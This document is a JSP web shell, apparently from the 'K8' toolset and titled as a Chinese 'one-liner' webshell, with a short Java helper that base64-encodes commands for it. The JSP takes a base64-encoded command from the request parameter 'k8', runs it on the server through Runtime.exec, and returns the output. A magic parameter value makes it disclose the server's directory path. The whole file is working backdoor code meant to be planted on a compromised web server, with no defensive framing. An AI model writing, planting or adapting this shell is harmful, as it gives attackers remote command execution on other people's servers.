jsp一句话

<%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%>
<%@page import="java.io.*"%>
<%@page import="sun.misc.BASE64Decoder"%>
<%
	try {
		response.setHeader("content-type","text/html;charset=UTF-8");
		String cmd = request.getParameter("k8");
		String path = application.getRealPath(request.getRequestURI());
		String dir = new File(path).getParent();
		if (cmd.equals("Szh0ZWFt")) {
			out.print("[S]" + dir + "[E]");
		}
		byte[] binary = BASE64Decoder.class.newInstance().decodeBuffer(
				cmd);
		String k8cmd = new String(binary);
		//out.print(k8cmd);
		Process child = Runtime.getRuntime().exec(k8cmd);
		InputStream inStream = child.getInputStream();
		out.println("->||");

		ByteArrayOutputStream outSteam = new ByteArrayOutputStream();
		byte[] buffer = new byte[1024];
		int len = -1;
		while ((len = inStream.read(buffer)) != -1) {
			outSteam.write(buffer, 0, len);
		}
		String result=new String(outSteam.toByteArray(),"UTF-8");
		outSteam.close();
		inStream.close();
		result=result.replaceAll("\n","<br />");
		//System.out.print(result);
		out.println(result);	
		out.println("||<-");
		try {
			child.waitFor();
		} catch (InterruptedException e) {
			e.printStackTrace();
		}
	} catch (IOException e) {
		System.err.println(e);
	}
%>

import sun.misc.BASE64Encoder;


public class GetEncodeCMD {
	
	public static void main(String[] args) throws Exception {
		
		String bt_cmd=BASE64Encoder.class.newInstance().encode("dir d:\\".getBytes());
		System.out.println(bt_cmd);
		
	}

}